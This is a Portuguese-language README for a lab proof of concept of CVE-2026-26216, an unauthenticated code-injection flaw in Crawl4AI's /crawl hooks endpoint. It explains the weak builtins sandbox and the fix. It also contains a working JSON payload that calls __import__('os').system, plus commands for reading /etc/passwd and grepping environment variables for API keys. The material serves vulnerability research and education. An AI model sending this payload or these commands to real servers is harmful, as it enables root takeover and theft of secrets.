## https://sploitus.com/exploit?id=4DC04EAA-B86C-5E9C-8E7F-20A78C65AA48
# CVE-2026-26216 — Crawl4AI unauthenticated RCE via `hooks` (GHSA-5882-5rx9-xgxp)
> **CVSS 10.0** · pre-auth RCE · CWE-94 (Code Injection)
> Execução remota de código **não autenticada** no servidor Docker do
> **Crawl4AI** ( `POST /crawl`. Um único JSON no POST executa Python **como root** dentro do
> container.
Esta é uma **PoC de laboratório**, auto-contida e reproduzível, para pesquisa
de segurança e fins educacionais.
---
## A vulnerabilidade em uma frase
O endpoint `POST /crawl` aceita **código Python arbitrário** no campo
`hooks.code.`. Esse código é executado com `exec()` dentro de um
"sandbox caseiro" — um dicionário de builtins restrito. Só que **`__import__`
foi deixado na allowlist**, o que permite `__import__('os').system(...)` e
derrota o sandbox inteiro.
```
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
```
Como o deploy oficial roda com **JWT desligado por padrão** e o container roda
como **root**, o resultado é RCE root, pré-autenticação.
### Por que é a lição perfeita sobre "sandbox caseiro em ferramenta de IA"
O sandbox *parece* funcionar: `open`, `eval`, `exec` foram removidos, então um
ataque ingênuo (`open('/etc/passwd')`) **é bloqueado**. Isso cria uma falsa
sensação de segurança. Mas basta **um** builtin perigoso esquecido
(`__import__`) para importar a stdlib inteira (`os`, `subprocess`, `socket`) e
o allowlist vira decoração. Allowlist de builtins **não é** um sandbox.
---
## Estrutura do projeto
```
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
```
> **Nota de fidelidade.** `vulnerable-app/` é uma **reprodução enxuta** do
> caminho de código vulnerável do Crawl4AI (não abre Chromium/Playwright), para
> a PoC ser leve e 100% reproduzível. O comportamento do sandbox e a estrutura
> do payload espelham a advisory oficial GHSA-5882-5rx9-xgxp. A linha
> vulnerável está marcada em `vulnerable-app/hook_manager.py`.
---
## Como rodar
```bash
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
```
---
## O que o exploit demonstra
| # | Ação | Impacto |
|---|------|---------|
| 1 | `open('/etc/passwd')` direto | **Bloqueado** pelo sandbox (falsa segurança) |
| 2 | `__import__('subprocess')` + `id`/`whoami` | RCE **como root** |
| 3 | `cat /etc/passwd` via shell | Leitura arbitrária de arquivos |
| 4 | `env \| grep KEY` | Exfiltração de **API keys** / tokens |
| 5 | `echo ... > /tmp/PWNED` | Escrita arbitrária de arquivos |
A partir daí: pivô para a rede interna, roubo de credenciais de nuvem,
persistência, etc.
---
## Impacto
- **Confidencialidade:** roubo de `OPENAI_API_KEY`, tokens internos, secrets do container.
- **Integridade:** escrita/alteração de arquivos, backdoors.
- **Disponibilidade:** kill de processos, wipe de dados.
- **Lateral:** o container geralmente tem acesso à rede interna → pivô.
Tudo isso **sem autenticação**.
---
## Correção
Corrigido no **Crawl4AI 0.8.0**:
- `__import__` (e `eval`/`exec`/`open`) **removidos** dos builtins permitidos.
- Hooks **desativados por padrão** — opt-in explícito via
`CRAWL4AI_HOOKS_ENABLED=true`.
**Mitigações gerais:**
- Atualize para `crawl4ai >= 0.8.0`.
- Nunca exponha o servidor Crawl4AI diretamente na internet; habilite JWT.
- Não rode o container como root; use usuário não-privilegiado e read-only FS.
- Trate "allowlist de builtins" como o que é: **não é um sandbox**. Para
executar código não confiável, use isolamento real (gVisor, microVM,
processo separado sem rede/FS, seccomp).
---
## Referências
- [GitHub Advisory — GHSA-5882-5rx9-xgxp](https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp)
- [GitHub Advisory Database](https://github.com/advisories/GHSA-5882-5rx9-xgxp)
- [Corgea — CVE-2026-26216](https://corgea.com/advisories/vulnerabilities/CVE-2026-26216)
- [GitLab Advisory Database](https://advisories.gitlab.com/pkg/pypi/crawl4ai/CVE-2026-26216/)
- [miggo.io — GHSA-5882-5rx9-xgxp](https://www.miggo.io/vulnerability-database/cve/GHSA-5882-5rx9-xgxp)
---
## Aviso legal
Material para **pesquisa de segurança autorizada e educação**. Use apenas em
sistemas que você possui ou tem permissão explícita por escrito para testar.